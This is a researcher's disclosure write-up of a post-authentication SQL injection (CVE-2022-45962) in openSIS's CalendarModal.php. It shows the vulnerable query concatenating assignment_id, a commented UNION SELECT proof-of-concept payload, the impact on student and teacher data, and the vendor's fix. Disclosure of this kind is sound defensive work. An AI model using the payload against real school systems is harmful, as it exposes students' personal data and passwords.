# CVE-2022-45962 Postauth SQLI

## OpenSIS

> openSIS is a commercial grade, secure, scalable & intuitive Student Information System, School Management Software from OS4ED. Has all functionalities to run single or multiple institutions in one installation. Web based, php code, MySQL database.

Maintained by [OS4ED](https://www.os4ed.com/), openSIS is advertised as an open source Student Information System and comes in two versions: Community and Pro. The source code is available on GitHub [here](https://github.com/OS4ED/openSIS-Classic).

## Vulnerability Analysis

During a code review of the application I noticed the following lines in [CalendarModal.php](https://github.com/OS4ED/openSIS-Classic/blob/381a1ad907285182c88e30b8bb6ce91123d9275d/CalendarModal.php#L30):

```php
$_REQUEST['event_id'] = mysqli_real_escape_string($connection,optional_param('event_id', '', PARAM_DATA));
if (($_REQUEST['event_id'] || !isset($_REQUEST['event_id'])) && !isset($_REQUEST[assignment_id])) {
    // ...
} else {
    $RET = DBGet(DBQuery('SELECT TITLE,STAFF_ID,DATE_FORMAT(DUE_DATE,\'%d-%b-%y\') AS SCHOOL_DATE,ASSIGNED_DATE,DUE_DATE,DESCRIPTION FROM gradebook_assignments WHERE ASSIGNMENT_ID=\'' . $_REQUEST[assignment_id] . '\''));
    //...
}
```

As we can see in the first line, openSIS developers sanitized the `event_id` paramater in order to prevent SQL injection in the first `if` branch. However, should this parameter be empty, there's another one being used to build a different query in the `else` branch.

The query can be reduced to this format:

```php
DBGet(DBQuery('SELECT TITLE,... 
    FROM gradebook_assignments 
    WHERE ASSIGNMENT_ID=\'' . $_REQUEST[assignment_id] . '\'
    '));
```

Apparently, the request parameter `assignment_id` is concatenated to the condition of a `SELECT` statement used to retrieve some information from the database.

Since this site is accessible only by authenticated users, an adversary would need a valid set of credentials. Beware that this also includes any student account.

## Proof of Concept

Knowing the injectable query, we can craft a specific payload for exploitation:

```php
' // end the condition
UNION SELECT // use union based SQLI to insert arbitrary values in the response
"SQLI CONFIRMED", // our extraction point (read from the database here)
"","","","","" // empty strings for the remaining columns
-- - // commenting out the rest of the query
```

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FAsj5F6vFCqu3pY0yUgfj%2Fsql-injection-confirmed.png?alt=media&#x26;token=2c45a644-6e18-4a9f-b5d0-b7314c71d25a" alt=""><figcaption><p>Sending PoC exploit query with BurpSuite</p></figcaption></figure>

## Impact

Successful exploitation may lead to a full database information disclosure. The database contains PII of both students and teachers as well as grades, settings and the passwords of all users.

Self assigned CVSS score: [AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\&version=3.1) with a base score of 6.5.

## Remediation

After contacting the vendor, the vulnerability was soon acknowledged and has now been addressed in the latest release. The fix can be found in this commit: [81799fd](https://github.com/OS4ED/openSIS-Classic/commit/81799fd1de74d7b4bf3c4c37ad6042214e48a469).

```php
$_REQUEST['assignment_id'] = sqlSecurityFilter($_REQUEST['assignment_id']);
```

The parameter is now passed to a filter that includes `mysqli_real_escape_string` before being used in the query. Although best practices would dictate the use of parameterized queries, the injection should now no longer be possible.
